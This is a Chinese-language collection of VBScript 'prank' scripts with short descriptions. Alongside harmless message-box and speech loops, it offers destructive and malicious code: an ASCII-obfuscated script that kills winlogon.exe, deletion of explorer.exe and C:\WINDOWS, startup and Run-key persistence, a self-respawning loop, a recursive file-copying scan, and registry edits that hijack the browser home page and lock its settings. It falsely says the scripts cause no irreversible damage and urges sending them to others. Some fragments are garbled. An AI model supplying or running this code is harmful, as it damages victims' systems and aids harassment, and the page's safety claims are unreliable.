VBScript 脚本代码集合与使用说明
操作方法:将上述代码保存为扩展名为 .VBS 的文件后直接运行即可。经实际测试,这些脚本通常不会造成不可逆的系统损坏,它们多采用无限循环逻辑而非真正的死锁,若需终止运行,可通过任务管理器结束 WSCRIPT.EXE 或 CSCRIPT.EXE 进程。例如,以下代码演示了一个基础的无限循环弹窗: ```vbscript do msgbox "hi" loop ``` 此外,还可以利用 SAPI 语音对象实现无限制的英文数字播报: ```vbscript Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop ``` 另一段代码展示了如何调用系统关机指令: ```vbscript objShell.Run "shutdown -s -t 5",,true end if ``` 还有一段经过 ASCII 码加密的复杂脚本,解密后可执行一系列操作,包括显示特定消息、设置休眠时间并启动记事本程序: ```vbscript strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner ``` 该脚本无明显破坏性,但包含加密逻辑,用户可自行尝试解密分析。另有代码涉及强制关闭 winlogon.exe 进程(需谨慎使用): ```vbscript Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if ``` 其他简单示例包括启动计算器: ```vbscript Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 ``` 以及尝试结束资源管理器进程并备份其可执行文件: ```vbscript set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe ``` 还有模拟按键发送字符串并触发关机的代码: ```vbscript for each wind in verybat ws.sendkeys wind wscript.sleep 500 next dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功,enjoy the best!" exit do elend if ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:" wscript.sleep 1000*45 loop ``` 快速关机示例: ```vbscript set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" ``` 批量关闭打开窗口: ```vbscript dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next ``` 一段交互式脚本,询问用户姓名、爱好和出生日期,计算存活时间并生成包含个人信息的 VBS 和 TXT 文件保存到桌面: ```vbscript dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:""" auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。" ``` 倒计时语音播报并关机: ```vbscript dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?" ``` 自我复制并无限运行: ```vbscript do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop ``` 要求输入特定字符串否则持续弹窗: ```vbscript dim a do exit do else msgbox"乖点,输入abc" end if loop ``` 经典的“说我是猪”关机玩笑: ```vbscript on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " " ``` 无聊时的无限弹窗: ```vbscript msgbox"你是不是很无聊啊?",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的准备吧!" do msgbox"你无聊吗?",vbinformation,"你无聊吗?" loop ``` 开机自启并注销系统: ```vbscript on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p",vbhide ``` 无限按 F5 刷新: ```vbscript set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop ``` 写入注册表自启动并删除自身副本: ```vbscript Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true ``` 无限弹出光驱托盘: ```vbscript set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop ``` 部分代码片段因原文不完整或存在语法错误(如缺失变量定义、拼写错误 `createobjecet`、逻辑断点等),此处仅保留原文结构,实际运行可能存在异常。例如: ```vbscript on error resume next dim WSHshellA ``` 以及涉及文件夹扫描的代码片段: ```vbscript On Error Resume Next Dim i i=0 Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub ``` 其他零散或错误的代码片段包括: ```vbscript on error resume next dim WSHshellA msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox " " + chr(14) + "~" Dim a Set a = CreateObject("Scripting.FileSystemObject") a.DeleteFolder ("C:\WINDOWS") set ws=createobjecet("wscript.shell") ws.run"explorer.exe" ws.run"cmd.exe" loop ``` 以及尝试重启资源管理器和 CMD 并关机的代码: ```vbscript on error resume next set ws=createobjecet("wscript.shell") ws.run"explorer.exe" ws.run"cmd.exe" ws.run"cmd.exe /c shutdown -s -t 7200",,ture loop ``` 语音播放笑声: ```vbscript dim a set a=createobject("sapi.spvoice") a.speak "ha ha ha ha hahahahahahaha" 注:ha ha ha... 可以改为几句粗话!! 输入中文后英文要取决于你的电脑会讲英文还是中文! ``` 讲故事循环: ```vbscript dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") if a=vbyes then do msgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1 ``` 修改注册表隐藏文件和限制浏览器功能的代码: ```vbscript dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject("wscript.shell") set fso=wscript.createobject("scripting.filesystemobject") set myfile=fso.GetFile(wscript.scriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com" ``` 最后是一个简单的关机中止提示: ```vbscript Option Explicit On Error Resume Next Dim answer WshShell.Run "Shutdown /a",0 MsgBox "哈哈哈,好玩不?",,"哈哈哈" ```